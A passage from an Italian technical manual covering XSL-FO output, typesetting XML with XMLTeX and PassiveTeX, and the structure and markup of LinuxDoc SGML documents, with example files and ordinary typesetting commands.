            <fo:layout-master-set>
                <fo:simple-page-master          master-name="normale"
                        page-width="210mm"      page-height="297mm"
                        margin-top="2cm"        margin-bottom="2cm"
                        margin-left="2cm"       margin-right="2cm">
                    <fo:region-body />
                </fo:simple-page-master>
            </fo:layout-master-set>
            <fo:page-sequence           master-reference="normale"
                                        language="{relazione/@xml:lang}">
                <fo:flow                flow-name="xsl-region-body">
        <xsl:apply-templates />
                </fo:flow>
            </fo:page-sequence>
        </fo:root>
    </xsl:template>
    <xsl:template match="titolo">
        <fo:block       font-size="4mm"
                        space-after="1cm"
                        text-align="right"
                        color="blue">
            <xsl:apply-templates />
        </fo:block>
    </xsl:template>
    <xsl:template match="data">
        <fo:block       space-after="5mm">
            <xsl:apply-templates />
        </fo:block>
    </xsl:template>
    <xsl:template match="paragrafo">
        <fo:block>
            <xsl:apply-templates />
        </fo:block>
    </xsl:template>
    <xsl:template match="firma">
        <fo:block>
            <xsl:apply-templates />
        </fo:block>
```

```
    </xsl:template>
</xsl:stylesheet>
```

In questo caso la trasformazione genera il file XSL-FO seguente:

```
<?xml version="1.0" encoding="UTF-8"?>
<fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
<fo:layout-master-set>
<fo:simple-page-master master-name="normale" page-width="210mm"
    page-height="297mm" margin-top="2cm" margin-bottom="2cm" margin-left="2cm"
    margin-right="2cm">
<fo:region-body/>
</fo:simple-page-master>
</fo:layout-master-set>
<fo:page-sequence master-reference="normale" language="it">
<fo:flow flow-name="xsl-region-body">
<fo:block font-size="4mm" space-after="1cm" text-align="right"
    color="blue">Relazione introduttiva su XML</fo:block>

<fo:block space-after="5mm">11/11/2011</fo:block>




<fo:block>XML sta per Extensible Markup Language.    bla bla bla...
Perché,... così,... perciò,... sarà...</fo:block>

<fo:block>Bla, bla, bla....</fo:block>

<fo:block>Pinco Pallino</fo:block>


</fo:flow>
</fo:page-sequence>
</fo:root>
```

Il risultato della composizione:

Relazione introduttiva su XML

11/11/2011

XML sta per Extensible Markup Language. bla bla bla... Perché,... così,... perciò,... sarà...
Bla, bla, bla....
Pinco Pallino

Per il resto, si veda quanto già descritto in precedenza a proposito di XSLT nella sezione 64.2.

64.8 XMLTeX e PassiveTeX

XMLTeX[4] è un sistema per comporre file XML attraverso TeX; PassiveTeX[5] è un insieme di fogli di stile aggiuntivi che, in particolare, consentono a XMLTeX di elaborare file XSL-FO.

64.8.1 XMLTeX

XMLTeX è un sistema che si affianca normalmente a LaTeX per trasformare un file XML in un documento pronto per la stampa, attraverso un metodo di trasformazione degli elementi e degli attributi del file di origine in comandi di LaTeX. Per fare questo occorre predisporre un «file di configurazione» nel quale si dichiarano queste sostituzioni. Viene proposto il solito esempio di file XML molto semplice, dove in particolare l'attributo '**`linguaggio`**' contiene un nome valido per LaTeX:

```
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE relazione [
    <!ELEMENT relazione     (titolo?, data, contenuto)>
    <!ATTLIST relazione
        linguaggio  CDATA   "">
    <!ELEMENT titolo        (#PCDATA)>
    <!ELEMENT data          (#PCDATA)>
    <!ELEMENT contenuto     (paragrafo+, firma+)>
    <!ELEMENT paragrafo     (#PCDATA)>
    <!ELEMENT firma         (#PCDATA)>
```

```
]>

<relazione linguaggio="italian">
<titolo>Relazione introduttiva su XML</titolo>

<data>11/11/2011</data>

<contenuto>

<paragrafo>XML sta per Extensible Markup Language.    bla bla bla...
Perché,... così,... perciò,... sarà...</paragrafo>

<paragrafo>Bla, bla, bla...</paragrafo>

<paragrafo>... ma soprattutto vorrei sorvolare sopra questioni così
complesse e arzigogolate come qualcuno invece vorrebbe...</paragrafo>

<firma>Pinco Pallino</firma>

</contenuto>
</relazione>
```

Supponendo di dare a questo file il nome ‘`relazione.xml`’, si può realizzare il file ‘`relazione.cfg`’, con l’indicazione delle trasformazioni da apportare:

```
\XMLelement{relazione}{\XMLattribute{linguaggio}{\mylanguageattribute}{english}}{%
    \documentclass{article}
    \usepackage[OT2,OT1]{fontenc}
    \usepackage[\mylanguageattribute]{babel}
    \frenchspacing
    \begin{document}
}
{%
    \end{document}
}

\XMLelement{titolo}{}{%
    \xmlgrab
}
{
    \section{#1}
}

\XMLelement{data}{}{%
}
{
    \par
}

\XMLelement{contenuto}{}{%
}
```

```
{
}

\XMLelement{paragrafo}{}{%
}
{
    \par
}

\XMLelement{firma}{}{%
}
{
    \par
}
```

Come si vede si tratta di comandi TeX con cui si dichiarano gli abbinamenti tra elementi e attributi con comandi corrispondenti di LaTeX.

```
\XMLelement{nome_elemento}{[dichiarazione_attributi]}{codice_iniziale}{codice_finale}
```

```
\XMLelement{nome_elemento}{[dichiarazione_attributi]}{\xmlgrab}{codice_complessivo}
```

Il comando '**\XMLelement**' consente di dichiarare la trasformazione dei marcatori di un elemento in comandi LaTeX: gli ultimi due argomenti contengono rispettivamente il codice LaTeX di apertura e il codice di chiusura dell'elemento. Tuttavia, se nell'argomento destinato a ospitare il codice LaTeX di apertura si inserisce soltanto il comando '**\xmlgrab**', si può mettere tutto nell'argomento finale, usando la sigla '**#1**' per fare riferimento al contenuto dell'elemento.

Nel secondo argomento del comando '**\XMLelement**' si possono inserire comandi '**\XMLattribute**' per prelevare le informazioni sugli attributi:

```
\XMLattribute{nome_attributo}{nome_comando_tex}{[valore_predefinito]}
```

Osservando l'esempio del file '`relazione.cfg`' si può vedere che nella dichiarazione riferita all'elemento '**relazione**' appare l'associazione dell'attributo '**linguaggio**' al comando '**\mylanguageattribute**', che poi viene usato successivamente. In pratica, il comando di LaTeX che nel file '`relazione.cfg`' appare come la riga seguente, è come se venisse sostituito con quella successiva:

```
    \usepackage[\mylanguageattribute]{babel}
```

```
    \usepackage[italian]{babel}
```

Nel file di configurazione, ovvero il file '`.cfg`', possono essere collocati altri comandi importanti; fortunatamente molte indicazioni essenziali fanno già parte della configurazione gene-

rale, che potrebbe trovarsi nel file '/etc/texmf/xmltex/xmltex.cfg'. Eventualmente si può approfondire la cosa leggendo la documentazione originale di XMLTeX.

Disponendo del file di configurazione per la trasformazione del documento XML, prima di passare alla composizione con LaTeX, si deve realizzare un piccolo file di collegamento, denominato, in questo caso, 'relazione.tex':

```
\def\xmlfile{relazione.xml}
\input xmltex.tex
```

Si può passare così alla composizione di questo file 'relazione.tex':

$ **latex relazione.tex** [*invio*]

```
This is TeX, Version 3.14159 (Web2C 7.4.5)
(./relazione.tex
LaTeX2e <2001/06/01>
Babel <v3.7h> and hyphenation patterns for american, french, german, ngerman,
danish, dutch, finnish, greek, italian, latin, spanish, nohyphenation, loaded.
(/usr/share/texmf/tex/xmltex/base/xmltex.tex
xmltex version: 2002/06/25 v1.9 (Exp)

Encoding = utf-8 (/usr/share/texmf/tex/xmltex/config/xmltex.cfg)
(./relazione.cfg) (./relazione.xml
 Default: relazione linguaggio="" (/usr/share/texmf/tex/latex/base/article.cls
Document Class: article 2001/04/21 v1.4e Standard LaTeX document class
(/usr/share/texmf/tex/latex/base/size10.clo))
(/usr/share/texmf/tex/latex/base/fontenc.sty
(/usr/share/texmf/tex/latex/cyrillic/ot2enc.def)
(/usr/share/texmf/tex/latex/base/ot1enc.def))
(/usr/share/texmf/tex/generic/babel/babel.sty
(/usr/share/texmf/tex/generic/babel/italian.ldf
(/usr/share/texmf/tex/generic/babel/babel.def))) (./relazione.aux)
(/usr/share/texmf/tex/latex/cyrillic/ot2cmr.fd) [1] (./relazione.aux) ) ) )
Output written on relazione.dvi (1 page, 692 bytes).
Transcript written on relazione.log.
```

Si ottiene così il file 'relazione.dvi', da cui si può generare facilmente un file PostScript:

$ **dvips -o relazione.ps relazione.dvi** [*invio*]

```
This is dvips(k) 5.92b Copyright 2002 Radical Eye Software (www.radicaleye.com)
' TeX output 2003.08.09:1533' -> relazione.ps
<texc.pro><f7b6d320.enc><texps.pro>. <cmr10.pfb><cmbx12.pfb>[1]
```

In modo analogo si può ottenere una composizione in formato PDF, utilizzando '**pdflatex**':

$ **pdflatex relazione.tex** [*invio*]

Eventualmente, entrambe le cose si possono fare in modo più semplice, senza bisogno di realizzare il file 'relazione.tex', con i comandi seguenti, che servono a ottenere, rispettivamente, la composizione in formato DVI e PDF:

```
$ latex "&xmltex" relazione.tex [Invio]
```

```
$ pdflatex "&pdfxmltex" relazione.tex [Invio]
```

Nel caso dovessero essere presenti riferimenti incrociati, è necessario eseguire la composizione con LaTeX per tre volte di seguito (sempre con lo stesso comando).

Per concludere viene mostrato il risultato della composizione dell'esempio:

1 Relazione introduttiva su XML

11/11/2011

XML sta per Extensible Markup Language. bla bla bla... Perché,... così,... perciò,... sarà...

Bla, bla, bla...

... ma soprattutto vorrei sorvolare sopra questioni così complesse e arzigogolate come qualcuno invece vorrebbe...

Pinco Pallino

1

64.8.2 PassiveTeX

Come accennato all'inizio del capitolo, PassiveTeX è un insieme di fogli di stile da usare con XMLTeX per comporre direttamente file XSL-FO, attraverso LaTeX. Viene ripreso un esempio già apparso in un altro capitolo di file XSL-FO:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fo:root SYSTEM "fo.dtd">
<fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
    <fo:layout-master-set>
        <fo:simple-page-master          master-name="normale"
                page-width="210mm"      page-height="297mm"
                margin-top="2cm"        margin-bottom="2cm"
                margin-left="2cm"       margin-right="2cm">
            <fo:region-body />
        </fo:simple-page-master>
    </fo:layout-master-set>
    <fo:page-sequence           master-reference="normale"
```

```
            language="it"       country="it">
        <fo:flow                flow-name="xsl-region-body">
            <fo:block           font-size="7mm">
                <fo:block>
                    Bla bla bla <fo:inline font-style="italic">testo in
                    corsivo</fo:inline> bla bla bla <fo:inline
                    font-weight="bold">H<fo:inline
                    baseline-shift="sub">2</fo:inline>O</fo:inline> bla
                    bla bla <fo:inline font-family="monospace">ls -l |
                    sort &gt; prova</fo:inline> bla bla bla <fo:inline
                    color="blue">testo in blu</fo:inline> bla bla bla
                    <fo:inline font-variant="small-caps">testo in
                    maiuscoletto</fo:inline> bla bla bla.
                </fo:block>
            </fo:block>
        </fo:flow>
    </fo:page-sequence>
</fo:root>
```

In modo molto semplice, si arriva alla composizione di questo file con il comando seguente, supponendo che si tratti del file '`esempio-014.fo`':

$ **`latex "&xmltex" esempio-014.fo`** [*Invio*]

In questo modo si genera il file '`esempio-014.dvi`', dal quale si può ottenere un file PostScript nel modo consueto:

$ **`dvips -o esempio-014.ps esempio-014.dvi`** [*Invio*]

Ovviamente si può anche eseguire una composizione in formato PDF direttamente con il comando seguente:

$ **`pdflatex "&pdfxmltex" esempio-014.fo`** [*Invio*]

Nel caso dovessero essere presenti riferimenti incrociati, sarebbe necessario eseguire la composizione con LaTeX per tre volte di seguito.

Ecco il risultato della composizione:

Bla bla bla *testo in corsivo* bla bla bla **H_2O** bla bla bla `ls -l | sort > prova` bla bla bla testo in blu bla bla bla TESTO IN MAIUSCOLETTO bla bla bla.

64.9 Riferimenti

- W3C, *Extensible Markup Language (XML) 1.0*
  ⟨*http://www.w3.org/TR/REC-xml/* ⟩
- James Clark, *Comparison of SGML and XML*
  ⟨*http://www.w3.org/TR/NOTE-sgml-xml-971215.html* ⟩
- Peter Flynn, *The XML FAQ*
  ⟨*http://xml.silmaril.ie/* ⟩
- Norman Walsh, *A Technical Introduction to XML*
  ⟨*http://nwalsh.com/docs/articles/xml/* ⟩
- W3C, *Namespaces in XML*
  ⟨*http://www.w3.org/TR/REC-xml-names/* ⟩
- James Clark, *XML namespaces*
  ⟨*http://www.jclark.com/xml/xmlns.htm* ⟩
- O'Reilly, *xml.com*
  ⟨*http://www.xml.com* ⟩
- *Cover Pages*
  ⟨*http://xml.coverpages.org/xml.html* ⟩

- W3C, *XSL Transformations (XSLT)*
  ⟨*http://www.w3.org/TR/xslt* ⟩
- W3C, *XML Path Language (XPath)*
  ⟨*http://www.w3.org/TR/xpath* ⟩
- Elliotte Rusty Harold, *XML Bible*
  ⟨*http://rf4.us/lib/old/books/programming/XMLBible.pdf* ⟩
- Elliotte Rusty Harold, *XML Bible, second edition*
  ⟨*http://www.cafeconleche.org/books/bible2/chapters/ch16.html* ⟩
  ⟨*http://www.cafeconleche.org/books/bible2/chapters/ch17.html* ⟩
  ⟨*http://www.cafeconleche.org/books/bible2/chapters/ch18.html* ⟩
  ⟨*http://www.cafeconleche.org/books/bible2/chapters/ch19.html* ⟩
  ⟨*http://www.cafeconleche.org/books/bible2/chapters/ch20.html* ⟩
- Michele Sciabarrà, *Tutorial XML/XSLT*
  ⟨*http://www.corsojava.it/testi/xml/* ⟩
- Michele Sciabarrà, *Linux e programmazione web*, McGraw-Hill, 2001, ISBN 88-386-4177-3
  In particolare il capitolo *XML e XSLT*.
- Apache software foundation, *FOP*
  ⟨*http://xmlgraphics.apache.org/fop/* ⟩
- W3C, *Extensible stylesheet language (XSL)*
  ⟨*http://www.w3.org/TR/xsl/* ⟩
- W3C, *Extensible stylesheet language*
  ⟨*http://www.w3.org/TR/xsl/* ⟩
- Herong Yang, *Herong's notes on XSL-FO and XHTML*
  ⟨*http://www.herongyang.com/xhtml/* ⟩
- David Carlisle, *xmltex: A non validating (and not 100% conforming) namespace aware XML parser implemented in TeX**
  ⟨*http://www.dcarlisle.demon.co.uk/xmltex/manual.html* ⟩
- Sebastian Rahtz, *PassiveTeX*
  ⟨*http://web.archive.org/web/*/http://www.tei-c.org/Software/passivetex* ⟩

[1] **Xalan** software libero con licenza speciale

[2] **FOP** software libero con licenza speciale

[3] Kaffe è un vecchio interprete di applicazioni Java, sviluppato prima che fosse rilasciato il pacchetto OpenJDK con una licenza libera. Attualmente, le distribuzioni GNU/Linux comuni dovrebbero disporre di una «macchina virtuale» Java, ed eventualmente di un ambiente di sviluppo Java, attraverso OpenJDK, GCJ e altri componenti liberi, senza complicazioni per l'utilizzatore.

[4] **XMLTeX** LPPL

[5] **PassiveTeX** Software libero con licenza speciale

Capitolo 65

LinuxDoc, DocBook e TEI

65.1 Sistemi SGML basati su Qwertz . . . 3683

65.1.1 Struttura di LinuxDoc . . . 3683
65.1.2 LinuxDoc più in dettaglio . . . 3686
65.1.3 Struttura di DebianDoc . . . 3699
65.1.4 Guida rapida di DebianDoc . . . 3703

65.2 Introduzione a DocBook . . . 3705

65.2.1 Edizioni e varianti del DTD . . . 3706
65.2.2 Esperimenti con il DTD e convalida . . . 3706
65.2.3 Strumenti per la composizione . . . 3708
65.2.4 Struttura generale . . . 3708
65.2.5 Corpo del documento . . . 3711
65.2.6 Conclusione . . . 3717

65.3 Introduzione a TEI . . . 3717

65.3.1 Strumenti per la composizione . . . 3717
65.3.2 Struttura generale di un documento TEI . . . 3719
65.3.3 Elenchi . . . 3723
65.3.4 Tabelle . . . 3724
65.3.5 Figure . . . 3726
65.3.6 Forme di evidenziamento . . . 3728
65.3.7 Note . . . 3729
65.3.8 Riferimenti incrociati e riferimenti esterni . . . 3730
65.3.9 Documentazione tecnica . . . 3731
65.3.10 Indici . . . 3732

65.4 Riferimenti . . . 3733

65.1 Sistemi SGML basati su Qwertz

Il sistema standard utilizzato inizialmente per la documentazione dei sistemi GNU/Linux si è basato sul DTD Qwertz, dal quale hanno avuto origine una serie di derivazioni e di strumenti di composizione SGML che hanno avuto una certa importanza. Nelle sezioni successive si mostra solo il funzionamento essenziale di alcuni di questi strumenti di composizione; in particolare LinuxDoc e DebianDoc.

Tra tutte le derivazioni di strumenti di composizione SGML basati originariamente sul DTD Qwertz, DebianDoc sembra essere stato il sistema più coerente, con il quale si garantiva la composizione tipografica dal formato PostScript alla pagina di manuale pura e semplice.

65.1.1 Struttura di LinuxDoc

La struttura di un sorgente SGML secondo il DTD LinuxDoc è generalmente la seguente:

```
<!DOCTYPE linuxdoc SYSTEM>
<article>
<titlepag>
<title>Titolo del documento</title>
<author>
        <name>Pinco Pallino ppallino@dinkel.brot.dg</name>
</author>
<date>29/02/1999</date>
<abstract>
Breve introduzione al documento.
</abstract>
</titlepag>
<toc>
<sect>Prima sezione
<p>
Contenuto della prima sezione,
...
...
(eventuali altre sezioni)
</article>
```

Con l'istruzione '**<!DOCTYPE linuxdoc SYSTEM>**' si afferma di voler utilizzare il DTD '**linuxdoc**'. Il documento è delimitato dall'elemento '**article**' che rappresenta uno tra i diversi tipi di struttura possibile del documento. Il DTD LinuxDoc è derivato dal Qwertz che è strutturato in modo da imitare il comportamento di LaTeX. In questo modo, nel DTD originale sono previste diverse strutture, tutte riferite ad analoghi tipi di documento LaTeX. La tendenza generale è quella di utilizzare sempre solo la struttura '**article**', soprattutto perché lo scopo di SGMLtools è stato quello di permettere la trasformazione del sorgente SGML in un grande numero di altri formati, non solo LaTeX.

Dopo l'inserimento dell'elemento '**title**' e di tutto ciò che deve contenere (titolo, autore, descrizione del documento), è possibile inserire il marcatore '**<toc>**', con il quale si intende ottenere un indice generale.

Dopo l'indice generale inizia il testo del documento, suddiviso in sezioni, il cui inizio è evidenziato dai marcatori: '**<sect>**', '**<sect1>**', '**<sect2>**'.

65.1.1.1 Utilizzo sommario

Attraverso SGMLtools, si ottiene un documento finale a partire da un sorgente SGML. Per questo, si elabora il sorgente come si fa con un linguaggio di programmazione durante la compilazione. La prima fase è il controllo di validità.

```
sgmlcheck sorgente_sgml
```

Una volta verificata la correttezza formale dal punto di vista del DTD, si può richiedere la trasformazione in un altro formato. Nell'elenco seguente vengono mostrati solo alcuni tipi di

trasformazione, i più importanti. In effetti non tutto funziona nello stesso modo e alcuni tipi di conversioni sono difettosi.

Quando si progetta di realizzare un documento attraverso SGMLtools/LinuxDoc, è importante decidere subito quali formati devono essere ottenuti necessariamente, in modo da poter controllare il loro funzionamento dall'inizio dell'opera. Per esempio, il fatto che si riesca a ottenere un formato PostScript corretto, non garantisce che gli altri formati generino un risultato altrettanto buono.[1]

La conversione in LaTeX si ottiene facilmente attraverso il comando seguente:

```
sgml2latex --output=tex sorgente_sgml
```

Viene generato un file con lo stesso nome del sorgente, terminante con l'estensione '`.tex`'. Questo file contiene riferimenti a stili addizionali che fanno parte del pacchetto SGMLtools. Questo fatto deve essere tenuto in considerazione se si vuole poi rielaborare questo file con LaTeX.

La composizione del documento in PostScript avviene attraverso l'elaborazione successiva da parte di LaTeX, richiamato automaticamente da SGMLtools.

```
sgml2latex --output=ps sorgente_sgml
```

Quello che si ottiene è un file con lo stesso nome del sorgente, terminante con l'estensione '`.ps`'.

La conversione in formato HTML viene gestita completamente all'interno di SGMLtools, attraverso il sistema di programmi in Perl che lo compongono.

```
sgml2html sorgente_sgml
```

Si ottengono dei file HTML collegati attraverso riferimenti ipertestuali.

65.1.1.2 Supporto per altri SGML

SGMLtools ha un supporto limitato per HTML. Precisamente, consente di verificare un file HTML attraverso il DTD HTML 3.2. Si può usare il comando seguente, che è lo stesso visto nel caso dei file SGML.

```
sgmlcheck sorgente_html
```

'**`sgmlcheck`**' determina da solo che si tratta di un file HTML. Comunque, un file HTML corretto dovrebbe iniziare con la dichiarazione seguente:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
```

Eventualmente, sono ammissibili anche altre forme,

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
```

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Draft//EN">
```

dove '**Draft**' si riferisce in particolare alla prima stesura della versione 3.2.

Si può osservare che un file HTML apparentemente corretto dato il risultato che si ottiene con il programma usato per visualizzarlo, può contenere un gran numero di errori formali secondo il suo DTD.

65.1.2 LinuxDoc più in dettaglio

Lo standard LinuxDoc, come suggerisce il nome, è quello che si è utilizzato originariamente per la documentazione di GNU/Linux. Del DTD relativo, 'linuxdoc.dtd', vengono sfruttate ufficialmente solo alcune delle caratteristiche. Per esempio, la definizione dell'incorporazione di immagini e le tabelle sono rimaste come eredità dallo standard Qwertz, ma il loro utilizzo va evitato, preferendo piuttosto l'uso di strumenti SGML basati su DocBook.

65.1.2.1 Preambolo e definizione dello stile

Come accennato all'inizio del capitolo, un documento LinuxDoc inizia con un preambolo che descrive il tipo di documento ('**linuxdoc**' appunto), lo stile (in questo caso '**article**'), il titolo, l'autore e altre informazioni eventuali.

```
<!DOCTYPE linuxdoc SYSTEM>

<article>

<titlepag>
<title>Il mio primo articolo</title>
<author>Pinco Pallino, pincop@dinkel.brot.dg</author>
<date>v0.01, 29 febbraio 1999</date>
<abstract>
Breve anticipazione del contenuto del documento.
</abstract>
</titlepag>

<toc>

<sect>Prima sezione
<p>
Contenuto della prima sezione.

</article>
```

Dopo il preambolo può essere collocato un indice generale che viene costruito automaticamente attraverso l'elemento '**toc**'. Quindi si può iniziare il corpo del documento suddiviso in sezioni. Al termine, la chiusura dello stile dichiarato nel preambolo definisce la fine del

documento.

Lo stile '**`article`**' è quello standard per i documenti LinuxDoc ed è anche quello raccomandato. Consente la suddivisione del documento per sezioni e non per capitoli. Viene chiuso alla fine del documento.

65.1.2.2 Suddivisione del documento

A seconda dello stile di documento utilizzato, la suddivisione del contenuto può avvenire in modi differenti. In pratica, utilizzando lo stile '**`article`**', la suddivisione avviene solo per sezioni, identificate dall'elemento '**`sect`**'.

1. '**`sect`**'
2. '**`sect1`**'
3. '**`sect2`**'

Ciò significa che una sezione '**`sect`**' può scomporsi in sottosezioni '**`sect1`**', che a loro volta si possono scomporre in altre sottosezioni di livello inferiore '**`sect2`**', ecc. In generale, se possibile, è conveniente limitarsi soltanto a due livelli di suddivisione.

```
<!DOCTYPE linuxdoc SYSTEM>

<article>

<titlepag>
<title>Il mio primo articolo</title>
<author>Pinco Pallino, pincop@dinkel.brot.dg</author>
<date>v0.01, 29 febbraio 1999</date>
<abstract>
Breve anticipazione del contenuto del documento.
</abstract>
</titlepag>

<toc>

<sect>Prima sezione
<p>
Contenuto della prima sezione.
...

<sect1>Una sottosezione
<p>
Contenuto della sottosezione.
...

<sect>Seconda sezione
<p>
...
...

</article>
```

L'ambiente delimitato da una sezione di qualunque livello, non richiede l'indicazione esplicita della sua conclusione. È invece necessaria l'inserzione dell'indicazione dell'inizio di un paragrafo, subito dopo il titolo della sezione stessa. L'esempio mostrato sopra dovrebbe chiarirne il funzionamento.

65.1.2.3 Paragrafi

Il testo di un documento normale è suddiviso in paragrafi. L'indicazione dell'inizio o della conclusione di un paragrafo è facoltativa. È sufficiente staccare i paragrafi con almeno una riga bianca per dare questa informazione a LinuxDoc. Resta comunque possibile l'indicazione esplicita dei paragrafi attraverso l'elemento '**`p`**'. È obbligatoria l'indicazione dell'inizio del primo paragrafo di una sezione, perché non esiste altro modo per capire quando finisce il titolo (della sezione) e quando inizia il testo.

65.1.2.4 Elenchi

Si hanno a disposizione tre tipi di elenchi: descrittivo (‘**descrip**’), puntato (‘**itemize**’) e numerato (‘**enum**’).

L’elenco descrittivo è definito dall’elemento ‘**descrip**’. Le parti descrittive di questo elenco sono costituite da elementi ‘**tag**’. Ciò che è contenuto all’interno della sequenza ‘**<tag>**...**</tag>**’ appare evidenziato in un’unica riga e generalmente non può contenere simboli particolari (dipende dal tipo di trasformazione che si vuole ottenere). Per esempio:

```
<descrip>
<tag>primo</tag>primo elemento;
<tag>secondo</tag>secondo elemento;
<tag>terzo</tag>terzo elemento.
</descrip>
```

genera l’elenco seguente:

```
primo
    primo elemento;
secondo
    secondo elemento;
terzo
    terzo elemento.
```

L’elenco puntato è costituito dall’elemento ‘**itemize**’ che si articola in elementi ‘**item**’, che in pratica costituiscono le varie voci dell’elenco. Per esempio:

```
<itemize>
<item>primo elemento;
<item>secondo elemento;
<item>terzo elemento.
</itemize>
```

genera l’elenco puntato seguente:

```
* primo elemento;
* secondo elemento;
* terzo elemento.
```

L’elenco numerato è costituito dall’elemento ‘**enum**’ che si articola in elementi ‘**item**’, come nel caso dell’elenco puntato. Per esempio:

```
<enum>
<item>primo elemento;
<item>secondo elemento;
<item>terzo elemento.
</enum>
```

genera l’elenco numerato seguente:

```
1 primo elemento;
2 secondo elemento;
3 terzo elemento.
```

Generalmente, se il tipo di composizione finale lo consente, gli elenchi possono essere annidati e contenere anche testo normale che viene rappresentato allineato in modo opportuno.

```
<descrip>
<tag>primo</tag>
        Primo elemento descrittivo.

        Continuazione del primo elemento descrittivo.

<tag>secondo</tag>
        Secondo elemento descrittivo.

        <enum>
        <item>Prima suddivisione.

                <enum>
                <item>Ulteriore suddivisione.
                <item>Ancora un altro punto.
                </enum>

        <item>Seconda suddivisione.

                <itemize>
                <item>Ecco un sottoelenco puntato.
                <item>Un secondo elemento dell'elenco puntato.
                </itemize>

        <item>Terza suddivisione.
        </enum>

<tag>terzo</tag>
        Terzo elemento descrittivo.

</descrip>
```

L'esempio sopra riportato si traduce in qualcosa che è simile a ciò che segue:

```
primo
    Primo elemento descrittivo.
    Continuazione del primo elemento descrittivo.
secondo
    Secondo elemento descrittivo.
    1  Prima suddivisione.
        a  Ulteriore suddivisione.
```

```
        b  Ancora un altro punto.
    2  Seconda suddivisione.
        *  Ecco un sottoelenco puntato.
        *  Un secondo elemento dell'elenco puntato.
    3  Terza suddivisione.
terzo
    Terzo elemento descrittivo.
```

65.1.2.5 Inclusione di testo letterale

Si incontra spesso la necessità di includere in un documento del testo letterale. In generale si tratta di listati di programma o cose simili che possono contenere caratteri o simboli che di solito dovrebbero essere scritti utilizzando dei codici macro particolari. Per questo si utilizza l'elemento '**verb**'.

Al suo interno è consentito includere un testo che deve essere riprodotto esattamente com'è, spazi e caratteri strani inclusi, utilizzando, quando possibile, lo stesso carattere usato per il testo normale. Per quanto riguarda la libertà di inclusione di simboli, esiste comunque una piccola limitazione:

- il simbolo '**&**' può essere inserito solo con un codice macro '**&ero;**' (mentre nel testo normale si usa la macro '**&**');
- la sequenza di simboli minore+barra obliqua ('**</**'), usata di solito per iniziare l'indicazione di un marcatore conclusivo, deve essere rappresentata usando il codice macro '**&etago;**'.

Di solito, il testo contenuto in questo elemento è preferibile che appaia in un carattere dattilografico. Per questo, generalmente, '**verb**' viene a sua volta inserito in un elemento '**tscreen**'.

```
<tscreen><verb>
Ecco un testo che contiene strani simboli # \ [ ].
</verb></tscreen>
```

65.1.2.6 Testo citato

Quando si cita del testo o si vuole fare risaltare una nota, si usano rientri e tipi di carattere diversi. Gli elementi utilizzati per questo scopo sono: '**quote**' e '**tscreen**'.

All'interno dell'elemento '**tscreen**' il testo viene riportato tutto con caratteri a larghezza fissa e rientrato leggermente. Di solito viene usato per incorporare l'elemento '**verb**', in modo da poter inserire simboli particolari senza la necessità di doverli convertire.

```
<tscreen>
Ecco del testo riportato con carattere a larghezza fissa
o dattilografico.
</tscreen>
```

L'elemento '**quote**' fa in modo di rientrare leggermente il testo, per fare risaltare che si tratta di una citazione.

```
<quote>
Senza nessuna precisazione, i documenti Linux HOWTO hanno
il copyright dei loro rispettivi autori. I documenti Linux
HOWTO possono essere riprodotti e distribuiti, completi o in...
</quote>
```

65.1.2.7 Enfatizzazioni

All'interno di un testo normale è possibile intervenire per modificare l'aspetto del carattere. Generalmente, qualsiasi intervento verso la definizione dell'aspetto del risultato finale è inopportuno in un sorgente SGML. Infatti, SGML dovrebbe servire per definire gli oggetti che compongono il testo e il documento in generale; quindi, è compito dei programmi di conversione attribuire un aspetto particolare al risultato finale.

LinuxDoc consente ancora di intervenire sull'aspetto di alcune parti di testo, attraverso l'indicazione di testi in corsivo, neretto e dattilografico. Resta tuttavia da considerare che queste possibilità sono destinate a scomparire, in favore di una definizione più precisa delle componenti del testo.

L'elemento '**bf**' si utilizza per rendere in neretto il testo racchiuso.

```
Esempio di un testo in <bf>neretto o bold face</bf>.
```

L'elemento '**it**' si utilizza per rendere in corsivo il testo racchiuso.

```
Esempio di un testo <it>corsivo</it>.
```

L'elemento '**tt**' si utilizza per rendere in carattere dattilografico il testo racchiuso.

```
Esempio di un testo <tt>a larghezza fissa o dattilografico</tt>.
```

65.1.2.8 Riferimenti incrociati

Possono essere fatti dei riferimenti interni o esterni al documento. Generalmente, all'interno del documento si utilizza l'elemento '**label**' come segnaposto e l'elemento '**ref**' come puntatore. Per fare dei riferimenti all'esterno del documento, si fa uso dell'elemento '**url**' oppure di '**htmlurl**'.

Un'etichetta, definita attraverso l'elemento '**label**', permette di marcare una posizione nel documento a cui si vuole poter fare riferimento. Si tratta di un elemento vuoto che contiene un attributo obbligatorio: '**ID**'. Questo attributo contiene il valore dell'etichetta che identifica quindi la posizione che si vuole marcare.

```
<sect>Note personali<label id="note1">
<p>
        bla bla bla bla...
```

L'esempio mostra un possibile uso di '**label**' per marcare l'inizio di una sezione. In linea di massima, un'etichetta di questo genere permette di fare riferimenti di due tipi: la pagina in

cui si trova e il numero della sezione o dell'oggetto, in relazione al contesto in cui si trova. Un'etichetta può apparire nei contesti seguenti:

- all'interno di testo normale, facendo riferimento al capitolo e alla sezione in cui si trova;
- all'interno di un elemento '**`caption`**' di una figura, facendo riferimento al numero della figura;
- all'interno di un elemento '**`caption`**' di una tabella, facendo riferimento al numero della tabella.

È importante che queste etichette-segnaposto non contengano caratteri strani, altrimenti il programma di composizione potrebbe non gestirle correttamente.

Un elemento '**`ref`**' si comporta come puntatore o riferimento a un'etichetta definita attraverso l'elemento '**`label`**'. All'interno di un documento stampato genera un riferimento numerico che dipende dal contesto in cui si trova l'etichetta (il numero della sezione, della figura o della tabella), mentre in un documento HTML genera un riferimento ipertestuale (*link*).

Si tratta di un elemento vuoto che contiene un attributo obbligatorio, '**`ID`**', e uno opzionale, '**`NAME`**'. L'attributo '**`ID`**' contiene il nome dell'etichetta a cui si intende fare riferimento, l'attributo '**`NAME`**' viene inserito per dare un nome al riferimento che viene creato quando si genera un documento HTML.

```
Vedere la sezione <ref id="linuxdoc-xref-ref" name="riferimento">.
```

